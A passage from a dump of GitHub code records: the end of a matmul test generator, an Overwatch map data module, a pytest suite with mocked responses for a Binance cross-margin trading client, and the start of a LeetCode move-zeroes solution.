format----\")\n","repo_name":"facebookresearch/diffkt","sub_path":"python/utilities/testCasesGen/matmul.py","file_name":"matmul.py","file_ext":"py","file_size_in_byte":1997,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"9"} +{"seq_id":"72503300454","text":"import string\nfrom dataclasses import dataclass\nfrom typing import Dict, List, NamedTuple, Optional\n\nfrom overtrack_cv.util.compat import Literal\n\nMapType = Literal[\"Escort\", \"Hybrid\", \"Assault\", \"Control\", \"Training\"]\nStageName = Literal[\"A\", \"B\", \"C\"]\n\n\nclass ControlStage(NamedTuple):\n letter: StageName\n name: str\n\n\n@dataclass\nclass Map:\n name: str\n type: Optional[MapType]\n\n @property\n def code(self) -> str:\n return \"\".join(c for c in self.name.replace(\" \", \"_\") if c in string.ascii_letters + string.digits + \"_\")\n\n @property\n def is_known(self) -> bool:\n return self.type is not None\n\n\n@dataclass\nclass ControlMap(Map):\n stages: List[ControlStage]\n\n def __str__(self) -> str:\n return f\"{self.__class__.__name__}(name={self.name}, type={self.type}, stages=...)\"\n\n @property\n def stage_dict(self) -> Dict[StageName, str]:\n return {s.letter: f\"{s.name} ({s.letter})\" for s in self.stages}\n\n\npractice_range = Map(name=\"Practice Range\", type=\"Training\")\n\nmaps: List[Map] = [\n Map(name=\"Hanamura\", type=\"Assault\"),\n Map(name=\"Horizon Lunar Colony\", type=\"Assault\"),\n Map(name=\"Paris\", type=\"Assault\"),\n Map(name=\"Temple of Anubis\", type=\"Assault\"),\n Map(name=\"Volskaya Industries\", type=\"Assault\"),\n Map(name=\"Dorado\", type=\"Escort\"),\n Map(\n name=\"Havana\",\n type=\"Escort\",\n ),\n Map(name=\"Junkertown\", type=\"Escort\"),\n Map(name=\"Rialto\", type=\"Escort\"),\n Map(name=\"Route 66\", type=\"Escort\"),\n Map(name=\"Watchpoint: Gibraltar\", type=\"Escort\"),\n Map(name=\"Blizzard World\", type=\"Hybrid\"),\n Map(name=\"Eichenwalde\", type=\"Hybrid\"),\n Map(name=\"Hollywood\", type=\"Hybrid\"),\n Map(name=\"King's Row\", type=\"Hybrid\"),\n Map(name=\"Numbani\", type=\"Hybrid\"),\n ControlMap(\n name=\"Busan\",\n type=\"Control\",\n stages=[\n ControlStage(letter=\"A\", name=\"Downtown\"),\n ControlStage(letter=\"B\", name=\"Sanctuary\"),\n ControlStage(letter=\"C\", name=\"Meka Base\"),\n ],\n ),\n ControlMap(\n name=\"Ilios\",\n type=\"Control\",\n stages=[\n ControlStage(letter=\"A\", name=\"Lighthouse\"),\n ControlStage(letter=\"B\", name=\"Well\"),\n ControlStage(letter=\"C\", name=\"Ruins\"),\n ],\n ),\n ControlMap(\n name=\"Lijiang Tower\",\n type=\"Control\",\n stages=[\n ControlStage(letter=\"A\", name=\"Night Market\"),\n ControlStage(letter=\"B\", name=\"Garden\"),\n ControlStage(letter=\"C\", name=\"Control Center\"),\n ],\n ),\n ControlMap(\n name=\"Oasis\",\n type=\"Control\",\n stages=[\n ControlStage(letter=\"A\", name=\"City Center\"),\n ControlStage(letter=\"B\", name=\"University\"),\n ControlStage(letter=\"C\", name=\"Gardens\"),\n ],\n ),\n ControlMap(\n name=\"Nepal\",\n type=\"Control\",\n stages=[\n ControlStage(letter=\"A\", name=\"Village\"),\n ControlStage(letter=\"B\", name=\"Shrine\"),\n ControlStage(letter=\"C\", name=\"Sanctum\"),\n ],\n ),\n # Map(\n # name='Estádio das Rãs',\n # type='Lúcioball'\n # ),\n]\n","repo_name":"overtrack-gg/overtrack-cv","sub_path":"overtrack_cv/games/overwatch/data/_maps.py","file_name":"_maps.py","file_ext":"py","file_size_in_byte":3183,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"9"} +{"seq_id":"73301327972","text":"from decimal import Decimal\nimport asyncio\nimport datetime\nimport re\n\nimport pytest\n\nfrom . import helpers\nfrom basana.core.pair import Pair\nfrom basana.external.binance import exchange\n\n\nCREATE_ORDER_RESPONSE_3286471275 = {\n \"symbol\": \"DOGEUSDT\",\n \"orderId\": 3286471275,\n \"clientOrderId\": \"76168451F9EE4C9DAADC16D74B874E4B\",\n \"transactTime\": 1671232394634,\n \"isIsolated\": False\n}\n\nORDER_INFO_3286471275 = {\n \"symbol\": \"DOGEUSDT\",\n \"orderId\": 3286471275,\n \"clientOrderId\": \"76168451F9EE4C9DAADC16D74B874E4B\",\n \"price\": \"0.05\",\n \"origQty\": \"1000\",\n \"executedQty\": \"0\",\n \"cummulativeQuoteQty\": \"0\",\n \"status\": \"CANCELED\",\n \"timeInForce\": \"GTC\",\n \"type\": \"STOP_LOSS_LIMIT\",\n \"side\": \"SELL\",\n \"stopPrice\": \"0.05\",\n \"icebergQty\": \"0\",\n \"time\": 1671232394634,\n \"updateTime\": 1671232429037,\n \"isWorking\": False,\n \"accountId\": 207887936,\n \"isIsolated\": False\n}\n\nCREATE_ORDER_RESPONSE_12010477623 = {\n \"symbol\": \"ETHUSDT\",\n \"orderId\": 12010477623,\n \"clientOrderId\": \"E1547A6979EA49A9A849A457BD751D38\",\n \"transactTime\": 1671217574815,\n \"price\": \"0\",\n \"origQty\": \"0.2503\",\n \"executedQty\": \"0.2503\",\n \"cummulativeQuoteQty\": \"299.962023\",\n \"status\": \"FILLED\",\n \"timeInForce\": \"GTC\",\n \"type\": \"MARKET\",\n \"side\": \"BUY\",\n \"fills\": [\n {\n \"price\": \"1198.41\",\n \"qty\": \"0.2503\",\n \"commission\": \"0.0002503\",\n \"commissionAsset\": \"ETH\"\n }\n ],\n \"marginBuyBorrowAsset\": \"USDT\",\n \"marginBuyBorrowAmount\": \"299.9548032\",\n \"isIsolated\": False\n}\n\n\nORDER_INFO_12010477623 = {\n \"accountId\": 207887936,\n \"clientOrderId\": \"E1547A6979EA49A9A849A457BD751D38\",\n \"cummulativeQuoteQty\": \"299.962023\",\n \"executedQty\": \"0.2503\",\n \"icebergQty\": \"0\",\n \"isIsolated\": False,\n \"isWorking\": True,\n \"orderId\": 12010477623,\n \"origQty\": \"0.2503\",\n \"price\": \"0\",\n \"side\": \"BUY\",\n \"status\": \"FILLED\",\n \"stopPrice\": \"0\",\n \"symbol\": \"ETHUSDT\",\n \"time\": 1671217574815,\n \"timeInForce\": \"GTC\",\n \"type\": \"MARKET\",\n \"updateTime\": 1671217574815\n}\n\n\nTRADES_ORDER_12010477623 = [\n {\n \"symbol\": \"ETHUSDT\",\n \"id\": 1043271755,\n \"orderId\": 12010477623,\n \"price\": \"1198.41\",\n \"qty\": \"0.2503\",\n \"quoteQty\": \"299.962023\",\n \"commission\": \"0.0002503\",\n \"commissionAsset\": \"ETH\",\n \"time\": 1671217574815,\n \"isBuyer\": True,\n \"isMaker\": False,\n \"isBestMatch\": True,\n \"isIsolated\": False\n }\n]\n\nCREATE_ORDER_RESPONSE_16422505508 = {\n \"clientOrderId\": \"B28B24EE482A425EA1A07F343FB2F3EE\",\n \"cummulativeQuoteQty\": \"298.9864344\",\n \"executedQty\": \"0.01682\",\n \"fills\": [\n {\"commission\": \"0\", \"commissionAsset\": \"BNB\", \"price\": \"17775.62\", \"qty\": \"0.00417\"},\n {\"commission\": \"0\", \"commissionAsset\": \"BNB\", \"price\": \"17775.66\", \"qty\": \"0.00298\"},\n {\"commission\": \"0\", \"commissionAsset\": \"BNB\", \"price\": \"17775.66\", \"qty\": \"0.00967\"}\n ],\n \"isIsolated\": False,\n \"marginBuyBorrowAmount\": \"100.0869656\",\n \"marginBuyBorrowAsset\": \"USDT\",\n \"orderId\": 16422505508,\n \"origQty\": \"0.01682\",\n \"price\": \"17841.08\",\n \"side\": \"BUY\",\n \"status\": \"FILLED\",\n \"symbol\": \"BTCUSDT\",\n \"timeInForce\": \"GTC\",\n \"transactTime\": 1670986059521,\n \"type\": \"LIMIT\"\n}\n\nORDER_INFO_16422505508 = {\n \"symbol\": \"BTCUSDT\",\n \"orderId\": 16422505508,\n \"clientOrderId\": \"B28B24EE482A425EA1A07F343FB2F3EE\",\n \"price\": \"17841.08\",\n \"origQty\": \"0.01682\",\n \"executedQty\": \"0.01682\",\n \"cummulativeQuoteQty\": \"298.9864344\",\n \"status\": \"FILLED\",\n \"timeInForce\": \"GTC\",\n \"type\": \"LIMIT\",\n \"side\": \"BUY\",\n \"stopPrice\": \"0\",\n \"icebergQty\": \"0\",\n \"time\": 1670986059521,\n \"updateTime\": 1670986059521,\n \"isWorking\": True,\n \"accountId\": 207887936,\n \"isIsolated\": False\n}\n\nTRADES_ORDER_16422505508 = [\n {\n \"symbol\": \"BTCUSDT\",\n \"id\": 2327639624,\n \"orderId\": 16422505508,\n \"price\": \"17775.62\",\n \"qty\": \"0.00417\",\n \"quoteQty\": \"74.1243354\",\n \"commission\": \"0\",\n \"commissionAsset\": \"BNB\",\n \"time\": 1670986059521,\n \"isBuyer\": True,\n \"isMaker\": False,\n \"isBestMatch\": True,\n \"isIsolated\": False\n },\n {\n \"symbol\": \"BTCUSDT\",\n \"id\": 2327639625,\n \"orderId\": 16422505508,\n \"price\": \"17775.66\",\n \"qty\": \"0.00298\",\n \"quoteQty\": \"52.9714668\",\n \"commission\": \"0\",\n \"commissionAsset\": \"BNB\",\n \"time\": 1670986059521,\n \"isBuyer\": True,\n \"isMaker\": False,\n \"isBestMatch\": True,\n \"isIsolated\": False\n },\n {\n \"symbol\": \"BTCUSDT\",\n \"id\": 2327639626,\n \"orderId\": 16422505508,\n \"price\": \"17775.66\",\n \"qty\": \"0.00967\",\n \"quoteQty\": \"171.8906322\",\n \"commission\": \"0\",\n \"commissionAsset\": \"BNB\",\n \"time\": 1670986059521,\n \"isBuyer\": True,\n \"isMaker\": False,\n \"isBestMatch\": True,\n \"isIsolated\": False\n }\n]\n\nOCO_ORDER_INFO_79592962 = {\n \"orderListId\": 79592962,\n \"contingencyType\": \"OCO\",\n \"listStatusType\": \"ALL_DONE\",\n \"listOrderStatus\": \"ALL_DONE\",\n \"listClientOrderId\": \"3hwrDggYdWhtiNAzm5bNDf\",\n \"transactionTime\": 1671242905365,\n \"symbol\": \"CHZUSDT\",\n \"isIsolated\": False,\n \"orders\": [\n {\n \"symbol\": \"CHZUSDT\",\n \"orderId\": 1420705016,\n \"clientOrderId\": \"MXTA6ncsHoWNyViZ5FQ2Cj\"\n },\n {\n \"symbol\": \"CHZUSDT\",\n \"orderId\": 1420705017,\n \"clientOrderId\": \"0EfhMRl4mHgY2yqvsJRV7e\"\n }\n ]\n}\n\nCANCEL_ORDER_RESPONSE_16582318135 = {\n \"orderId\": \"16582318135\",\n \"symbol\": \"BTCUSDT\",\n \"origClientOrderId\": \"FCE43038586A45EBB0DBF8AD0F360E5A\",\n \"clientOrderId\": \"4doKFpBuPJ1CEX8OSRa9qv\",\n \"price\": \"15000\",\n \"origQty\": \"0.001\",\n \"executedQty\": \"0\",\n \"cummulativeQuoteQty\": \"0\",\n \"status\": \"CANCELED\",\n \"timeInForce\": \"GTC\",\n \"type\": \"LIMIT\",\n \"side\": \"BUY\",\n \"isIsolated\": False\n}\n\nCANCEL_OCO_ORDER_RESPONSE_79680111 = {\n \"orderListId\": 79680111,\n \"contingencyType\": \"OCO\",\n \"listStatusType\": \"ALL_DONE\",\n \"listOrderStatus\": \"ALL_DONE\",\n \"listClientOrderId\": \"B3331893C53A4F1487EB78F2E16D4FDD\",\n \"transactionTime\": 1671463475963,\n \"symbol\": \"BTCUSDT\",\n \"isIsolated\": False,\n \"orders\": [\n {\n \"symbol\": \"BTCUSDT\",\n \"orderId\": 16583687189,\n \"clientOrderId\": \"dyLZCprGrE0we3SAdg1tqP\"\n },\n {\n \"symbol\": \"BTCUSDT\",\n \"orderId\": 16583687190,\n \"clientOrderId\": \"LhuSdrzXqqtsZsGNFrCRhw\"\n }\n ],\n \"orderReports\": [\n {\n \"symbol\": \"BTCUSDT\",\n \"origClientOrderId\": \"dyLZCprGrE0we3SAdg1tqP\",\n \"orderId\": 16583687189,\n \"clientOrderId\": \"JKrKa1n87ZxYISKH4ujAyR\",\n \"price\": \"19000.00000000\",\n \"origQty\": \"0.00100000\",\n \"executedQty\": \"0\",\n \"cummulativeQuoteQty\": \"0\",\n \"status\": \"CANCELED\",\n \"timeInForce\": \"GTC\",\n \"type\": \"STOP_LOSS_LIMIT\",\n \"side\": \"BUY\",\n \"stopPrice\": \"19000.00000000\"\n },\n {\n \"symbol\": \"BTCUSDT\",\n \"origClientOrderId\": \"LhuSdrzXqqtsZsGNFrCRhw\",\n \"orderId\": 16583687190,\n \"clientOrderId\": \"JKrKa1n87ZxYISKH4ujAyR\",\n \"price\": \"14000.00000000\",\n \"origQty\": \"0.00100000\",\n \"executedQty\": \"0\",\n \"cummulativeQuoteQty\": \"0\",\n \"status\": \"CANCELED\",\n \"timeInForce\": \"GTC\",\n \"type\": \"LIMIT_MAKER\",\n \"side\": \"BUY\"\n }\n ]\n}\n\n\ndef test_account_balances(binance_http_api_mock, binance_exchange):\n binance_http_api_mock.get(\n re.compile(r\"http://binance.mock/sapi/v1/margin/account\\\\?.*\"), status=200,\n payload=helpers.load_json(\"binance_cross_margin_account_details.json\")\n )\n\n async def test_main():\n balances = await binance_exchange.cross_margin_account.get_balances()\n\n balance = balances[\"USDT\"]\n assert balance.available == Decimal(\"205.87545172\")\n assert balance.total == Decimal(\"205.87545172\")\n assert balance.locked == Decimal(\"0\")\n\n asyncio.run(test_main())\n\n\n@pytest.mark.parametrize(\"create_order_fun, response_payload, expected_attrs, expected_fills\", [\n (\n lambda e: e.cross_margin_account.create_limit_order(\n exchange.OrderOperation.BUY, Pair(\"BTC\", \"USDT\"), amount=Decimal(\"0.01682\"),\n limit_price=Decimal(\"17841.08\"), side_effect_type=\"MARGIN_BUY\",\n client_order_id=\"B28B24EE482A425EA1A07F343FB2F3EE\"\n ),\n CREATE_ORDER_RESPONSE_16422505508,\n {\n \"id\": \"16422505508\",\n \"datetime\": datetime.datetime(2022, 12, 14, 2, 47, 39, 521000).replace(tzinfo=datetime.timezone.utc),\n \"client_order_id\": \"B28B24EE482A425EA1A07F343FB2F3EE\",\n \"limit_price\": Decimal(\"17841.08\"),\n \"amount\": Decimal(\"0.01682\"),\n \"amount_filled\": Decimal(\"0.01682\"),\n \"quote_amount_filled\": Decimal(\"298.9864344\"),\n \"status\": \"FILLED\",\n \"time_in_force\": \"GTC\",\n \"is_open\": False,\n },\n [\n {\n \"price\": Decimal(\"17775.62\"),\n \"amount\": Decimal(\"0.00417\"),\n \"commission\": Decimal(\"0\"),\n \"commission_asset\": \"BNB\",\n },\n {\n \"price\": Decimal(\"17775.66\"),\n \"amount\": Decimal(\"0.00298\"),\n \"commission\": Decimal(\"0\"),\n \"commission_asset\": \"BNB\",\n },\n {\n \"price\": Decimal(\"17775.66\"),\n \"amount\": Decimal(\"0.00967\"),\n \"commission\": Decimal(\"0\"),\n \"commission_asset\": \"BNB\",\n },\n ],\n ),\n (\n lambda e: e.cross_margin_account.create_market_order(\n exchange.OrderOperation.BUY, Pair(\"ETH\", \"USDT\"), quote_amount=Decimal(\"300\"),\n side_effect_type=\"MARGIN_BUY\",\n client_order_id=\"E1547A6979EA49A9A849A457BD751D38\"\n ),\n CREATE_ORDER_RESPONSE_12010477623,\n {\n \"id\": \"12010477623\",\n \"datetime\": datetime.datetime(2022, 12, 16, 19, 6, 14, 815000).replace(tzinfo=datetime.timezone.utc),\n \"client_order_id\": \"E1547A6979EA49A9A849A457BD751D38\",\n \"limit_price\": None,\n \"amount\": Decimal(\"0.2503\"),\n \"amount_filled\": Decimal(\"0.2503\"),\n \"quote_amount_filled\": Decimal(\"299.962023\"),\n \"status\": \"FILLED\",\n \"is_open\": False,\n },\n [\n {\n \"price\": Decimal(\"1198.41\"),\n \"amount\": Decimal(\"0.2503\"),\n \"commission\": Decimal(\"0.0002503\"),\n \"commission_asset\": \"ETH\",\n },\n ],\n ),\n (\n lambda e: e.cross_margin_account.create_stop_limit_order(\n exchange.OrderOperation.SELL, Pair(\"DOGE\", \"USDT\"), Decimal(\"1000\"), Decimal(\"0.05\"), Decimal(\"0.05\"),\n side_effect_type=\"MARGIN_BUY\", client_order_id=\"76168451F9EE4C9DAADC16D74B874E4B\"\n ),\n CREATE_ORDER_RESPONSE_3286471275,\n {\n \"id\": \"3286471275\",\n \"datetime\": datetime.datetime(2022, 12, 16, 23, 13, 14, 634000).replace(tzinfo=datetime.timezone.utc),\n \"client_order_id\": \"76168451F9EE4C9DAADC16D74B874E4B\",\n },\n [],\n ),\n])\ndef test_create_order(\n create_order_fun, response_payload, expected_attrs, expected_fills, binance_http_api_mock, binance_exchange\n):\n binance_http_api_mock.post(\n re.compile(r\"http://binance.mock/sapi/v1/margin/order\\\\?.*\"), status=200, payload=response_payload\n )\n\n async def test_main():\n order_created = await create_order_fun(binance_exchange)\n assert order_created is not None\n helpers.assert_expected_attrs(order_created, expected_attrs)\n assert len(order_created.fills) == len(expected_fills)\n for fill, expected_fill in zip(order_created.fills, expected_fills):\n helpers.assert_expected_attrs(fill, expected_fill)\n\n asyncio.run(test_main())\n\n\n@pytest.mark.parametrize(\n \"pair, order_id, client_order_id, order_payload, trades_payload, expected_attrs, expected_first_trade\",\n [\n (\n Pair(\"BTC\", \"USDT\"), \"16422505508\", None,\n ORDER_INFO_16422505508,\n TRADES_ORDER_16422505508,\n {\n \"id\": \"16422505508\",\n \"is_open\": False,\n \"amount\": Decimal(\"0.01682\"),\n \"amount_filled\": Decimal(\"0.01682\"),\n \"amount_remaining\": Decimal(\"0\"),\n \"limit_price\": Decimal(\"17841.08\"),\n \"fill_price\": Decimal(\"17775.65008323424494649227111\"),\n \"fees\": {},\n },\n {\n \"id\": \"2327639624\",\n \"order_id\": \"16422505508\",\n \"price\": Decimal(\"17775.62\"),\n \"amount\": Decimal(\"0.00417\"),\n \"quote_amount\": Decimal(\"74.1243354\"),\n \"commission\": Decimal(\"0\"),\n \"commission_asset\": \"BNB\",\n \"datetime\": datetime.datetime(2022, 12, 14, 2, 47, 39, 521000).replace(tzinfo=datetime.timezone.utc),\n \"is_buyer\": True,\n \"is_maker\": False,\n \"is_best_match\": True,\n \"is_isolated\": False,\n },\n ),\n (\n Pair(\"ETH\", \"USDT\"), None, \"E1547A6979EA49A9A849A457BD751D38\",\n ORDER_INFO_12010477623,\n TRADES_ORDER_12010477623,\n {\n \"id\": \"12010477623\",\n \"is_open\": False,\n \"amount\": Decimal(\"0.2503\"),\n \"amount_filled\": Decimal(\"0.2503\"),\n \"amount_remaining\": Decimal(\"0\"),\n \"stop_price\": None,\n \"limit_price\": None,\n \"fill_price\": Decimal(\"1198.41\"),\n \"fees\": {\"ETH\": Decimal(\"0.0002503\")},\n },\n {\n \"id\": \"1043271755\",\n \"order_id\": \"12010477623\",\n \"price\": Decimal(\"1198.41\"),\n \"amount\": Decimal(\"0.2503\"),\n \"quote_amount\": Decimal(\"299.962023\"),\n \"commission\": Decimal(\"0.0002503\"),\n \"commission_asset\": \"ETH\",\n \"datetime\": datetime.datetime(2022, 12, 16, 19, 6, 14, 815000).replace(tzinfo=datetime.timezone.utc),\n \"is_buyer\": True,\n \"is_maker\": False,\n \"is_best_match\": True,\n \"is_isolated\": False\n }\n ),\n ]\n)\ndef test_order_info(\n pair, order_id, client_order_id, order_payload, trades_payload, expected_attrs, expected_first_trade,\n binance_http_api_mock, binance_exchange\n):\n binance_http_api_mock.get(\n re.compile(r\"http://binance.mock/sapi/v1/margin/order\\\\?.*\"), status=200, payload=order_payload\n )\n binance_http_api_mock.get(\n re.compile(r\"http://binance.mock/sapi/v1/margin/myTrades\\\\?.*\"), status=200, payload=trades_payload\n )\n\n async def test_main():\n order_info = await binance_exchange.cross_margin_account.get_order_info(\n pair, order_id=order_id, client_order_id=client_order_id\n )\n assert order_info is not None\n helpers.assert_expected_attrs(order_info, expected_attrs)\n if expected_first_trade:\n helpers.assert_expected_attrs(order_info.trades[0], expected_first_trade)\n\n asyncio.run(test_main())\n\n\n@pytest.mark.parametrize(\n \"pair, open_orders_payload, expected_first_open_order\",\n [\n (\n Pair(\"BTC\", \"USDT\"),\n [\n {\n \"accountId\": 207887936,\n \"clientOrderId\": \"web_19b6ce1dad4d45a0bb16a1599914ea14\",\n \"cummulativeQuoteQty\": \"0\",\n \"executedQty\": \"0\",\n \"icebergQty\": \"0\",\n \"isIsolated\": False,\n \"isWorking\": True,\n \"orderId\": 18690114806,\n \"origQty\": \"0.01\",\n \"price\": \"25000\",\n \"side\": \"SELL\",\n \"status\": \"NEW\",\n \"stopPrice\": \"0\",\n \"symbol\": \"BTCUSDT\",\n \"time\": 1676487828466,\n \"timeInForce\": \"GTC\",\n \"type\": \"LIMIT\",\n \"updateTime\": 1676487828466\n }\n ],\n {\n \"id\": \"18690114806\",\n \"client_order_id\": \"web_19b6ce1dad4d45a0bb16a1599914ea14\",\n \"quote_amount_filled\": Decimal(0),\n \"amount_filled\": Decimal(0),\n \"amount\": Decimal(\"0.01\"),\n \"limit_price\": Decimal(\"25000\"),\n \"stop_price\": None,\n \"operation\": exchange.OrderOperation.SELL,\n \"status\": \"NEW\",\n \"time_in_force\": \"GTC\",\n \"datetime\": datetime.datetime(2023, 2, 15, 19, 3, 48, 466000).replace(tzinfo=datetime.timezone.utc),\n \"type\": \"LIMIT\",\n },\n ),\n ]\n)\ndef test_get_open_orders(\n pair, open_orders_payload, expected_first_open_order, binance_http_api_mock, binance_exchange\n):\n binance_http_api_mock.get(\n re.compile(r\"http://binance.mock/sapi/v1/margin/openOrders\\\\?.*\"), status=200, payload=open_orders_payload\n )\n\n async def test_main():\n open_orders = await binance_exchange.cross_margin_account.get_open_orders(pair)\n helpers.assert_expected_attrs(open_orders[0], expected_first_open_order)\n\n asyncio.run(test_main())\n\n\n@pytest.mark.parametrize(\"pair, order_id, client_order_id, response_payload, expected_attrs\", [\n (\n Pair(\"BTC\", \"USDT\"), \"16582318135\", None,\n CANCEL_ORDER_RESPONSE_16582318135,\n {\n \"id\": \"16582318135\",\n \"is_open\": False,\n \"order_list_id\": None,\n \"limit_price\": Decimal(15000),\n \"amount\": Decimal(\"0.001\"),\n \"amount_filled\": Decimal(\"0\"),\n \"quote_amount_filled\": Decimal(\"0\"),\n \"status\": \"CANCELED\",\n \"time_in_force\": \"GTC\",\n \"operation\": exchange.OrderOperation.BUY,\n \"type\": \"LIMIT\",\n }\n ),\n (\n Pair(\"BTC\", \"USDT\"), None, \"FCE43038586A45EBB0DBF8AD0F360E5A\",\n CANCEL_ORDER_RESPONSE_16582318135,\n {\n \"id\": \"16582318135\",\n \"is_open\": False,\n }\n )\n])\ndef test_cancel_order(\n pair, order_id, client_order_id, response_payload, expected_attrs, binance_http_api_mock, binance_exchange\n):\n binance_http_api_mock.delete(\n re.compile(r\"http://binance.mock/sapi/v1/margin/order\\\\?.*\"), status=200, payload=response_payload\n )\n\n async def test_main():\n canceled_order = await binance_exchange.cross_margin_account.cancel_order(\n pair, order_id=order_id, client_order_id=client_order_id\n )\n assert canceled_order is not None\n helpers.assert_expected_attrs(canceled_order, expected_attrs)\n\n asyncio.run(test_main())\n\n\n@pytest.mark.parametrize(\"create_order_fun, response_payload, expected_attrs\", [\n (\n lambda e: e.cross_margin_account.create_oco_order(\n exchange.OrderOperation.SELL, Pair(\"BTC\", \"USDT\"), Decimal(\"0.01682\"), Decimal(\"18125.4\"),\n Decimal(\"17592.3\"), stop_limit_price=Decimal(\"15833.07\"), side_effect_type=\"AUTO_REPAY\"\n ),\n {\n \"contingencyType\": \"OCO\",\n \"isIsolated\": False,\n \"listClientOrderId\": \"8FFCC716C91841F199AD1D5DD14752E5\",\n \"listOrderStatus\": \"EXECUTING\",\n \"listStatusType\": \"EXEC_STARTED\",\n \"orderListId\": 79453975,\n \"orderReports\": [\n {\n \"clientOrderId\": \"AjmD6hDJzPVeS6nmmE1ZDo\",\n \"cummulativeQuoteQty\": \"0\",\n \"executedQty\": \"0\",\n \"orderId\": 16422653053,\n \"orderListId\": 79453975,\n \"origQty\": \"0.01682000\",\n \"price\": \"15833.07000000\",\n \"side\": \"SELL\",\n \"status\": \"NEW\",\n \"stopPrice\": \"17592.30000000\",\n \"symbol\": \"BTCUSDT\",\n \"timeInForce\": \"GTC\",\n \"transactTime\": 1670986467587,\n \"type\": \"STOP_LOSS_LIMIT\"\n },\n {\n \"clientOrderId\": \"O5xo6nf8Ua0HbNMtpyqvv3\",\n \"cummulativeQuoteQty\": \"0\",\n \"executedQty\": \"0\",\n \"orderId\": 16422653054,\n \"orderListId\": 79453975,\n \"origQty\": \"0.01682000\",\n \"price\": \"18125.40000000\",\n \"side\": \"SELL\",\n \"status\": \"NEW\",\n \"symbol\": \"BTCUSDT\",\n \"timeInForce\": \"GTC\",\n \"transactTime\": 1670986467587,\n \"type\": \"LIMIT_MAKER\"\n }\n ],\n \"orders\": [\n {\"clientOrderId\": \"AjmD6hDJzPVeS6nmmE1ZDo\", \"orderId\": 16422653053, \"symbol\": \"BTCUSDT\"},\n {\"clientOrderId\": \"O5xo6nf8Ua0HbNMtpyqvv3\", \"orderId\": 16422653054, \"symbol\": \"BTCUSDT\"}\n ],\n \"symbol\": \"BTCUSDT\",\n \"transactionTime\": 1670986467587\n },\n {\n \"order_list_id\": \"79453975\",\n \"client_order_list_id\": \"8FFCC716C91841F199AD1D5DD14752E5\",\n \"datetime\": datetime.datetime(2022, 12, 14, 2, 54, 27, 587000).replace(tzinfo=datetime.timezone.utc),\n \"is_open\": True,\n \"limit_order_id\": \"16422653054\",\n \"stop_loss_order_id\": \"16422653053\",\n },\n ),\n])\ndef test_create_oco_order(\n create_order_fun, response_payload, expected_attrs, binance_http_api_mock, binance_exchange\n):\n binance_http_api_mock.post(\n re.compile(r\"http://binance.mock/sapi/v1/margin/order/oco\\\\?.*\"), status=200, payload=response_payload\n )\n\n async def test_main():\n order_created = await create_order_fun(binance_exchange)\n assert order_created is not None\n helpers.assert_expected_attrs(order_created, expected_attrs)\n\n asyncio.run(test_main())\n\n\n@pytest.mark.parametrize(\"order_list_id, client_order_list_id, response_payload, expected_attrs\", [\n (\n \"79592962\", None,\n OCO_ORDER_INFO_79592962,\n {\n \"order_list_id\": \"79592962\",\n \"client_order_list_id\": \"3hwrDggYdWhtiNAzm5bNDf\",\n \"is_open\": False,\n }\n ),\n (\n None, \"3hwrDggYdWhtiNAzm5bNDf\",\n OCO_ORDER_INFO_79592962,\n {\n \"order_list_id\": \"79592962\",\n \"client_order_list_id\": \"3hwrDggYdWhtiNAzm5bNDf\",\n \"is_open\": False,\n }\n ),\n])\ndef test_oco_order_info(\n order_list_id, client_order_list_id, response_payload, expected_attrs, binance_http_api_mock, binance_exchange\n):\n binance_http_api_mock.get(\n re.compile(r\"http://binance.mock/sapi/v1/margin/orderList\\\\?.*\"), status=200, payload=response_payload\n )\n\n async def test_main():\n order_info = await binance_exchange.cross_margin_account.get_oco_order_info(\n order_list_id=order_list_id, client_order_list_id=client_order_list_id\n )\n assert order_info is not None\n helpers.assert_expected_attrs(order_info, expected_attrs)\n\n asyncio.run(test_main())\n\n\n@pytest.mark.parametrize(\"pair, order_list_id, client_order_list_id, response_payload, expected_attrs\", [\n (\n Pair(\"BTC\", \"USDT\"), \"79680111\", None,\n CANCEL_OCO_ORDER_RESPONSE_79680111,\n {\n \"order_list_id\": \"79680111\",\n \"client_order_list_id\": \"B3331893C53A4F1487EB78F2E16D4FDD\",\n \"datetime\": datetime.datetime(2022, 12, 19, 15, 24, 35, 963000).replace(tzinfo=datetime.timezone.utc),\n \"is_open\": False,\n }\n ),\n (\n Pair(\"BTC\", \"USDT\"), None, \"B3331893C53A4F1487EB78F2E16D4FDD\",\n CANCEL_OCO_ORDER_RESPONSE_79680111,\n {\n \"order_list_id\": \"79680111\",\n \"client_order_list_id\": \"B3331893C53A4F1487EB78F2E16D4FDD\",\n \"datetime\": datetime.datetime(2022, 12, 19, 15, 24, 35, 963000).replace(tzinfo=datetime.timezone.utc),\n \"is_open\": False,\n }\n )\n])\ndef test_cancel_oco_order(\n pair, order_list_id, client_order_list_id, response_payload, expected_attrs,\n binance_http_api_mock, binance_exchange\n):\n binance_http_api_mock.delete(\n re.compile(r\"http://binance.mock/sapi/v1/margin/orderList\\\\?.*\"), status=200, payload=response_payload\n )\n\n async def test_main():\n canceled_order = await binance_exchange.cross_margin_account.cancel_oco_order(\n pair, order_list_id=order_list_id, client_order_list_id=client_order_list_id\n )\n assert canceled_order is not None\n helpers.assert_expected_attrs(canceled_order, expected_attrs)\n\n asyncio.run(test_main())\n\n\ndef test_transfer(binance_http_api_mock, binance_exchange):\n async def test_main():\n binance_http_api_mock.post(\n re.compile(r\"http://binance.mock/sapi/v1/margin/transfer\\\\?.*\"), status=200,\n payload={\"clientTag\": \"\", \"tranId\": 124735427615}, repeat=True\n )\n\n assert (await binance_exchange.cross_margin_account.transfer_from_spot_account(\n \"USDT\", Decimal(\"100\")))[\"tranId\"] == 124735427615\n assert (await binance_exchange.cross_margin_account.transfer_to_spot_account(\n \"USDT\", Decimal(\"100\")))[\"tranId\"] == 124735427615\n\n asyncio.run(test_main())\n","repo_name":"gbeced/basana","sub_path":"tests/test_binance_exchange_cross_margin.py","file_name":"test_binance_exchange_cross_margin.py","file_ext":"py","file_size_in_byte":26023,"program_lang":"python","lang":"en","doc_type":"code","stars":234,"dataset":"github-code","pt":"9"} +{"seq_id":"75052517733","text":"from datetime import datetime\n\n\nclass Solution:\n def moveZeroes(self, nums: list) -> None:\n if len(nums) < 2:\n return\n \"\"\"\n Do not return anything, modify nums in-place instead.\n \"\"\"\n n = 0\n for idx, i in enumerate(nums):\n if i == 0:\n n += 1\n else:\n if n > 0:\n nums[idx - n] = i\n\n for i in range(1, n + 1):\n 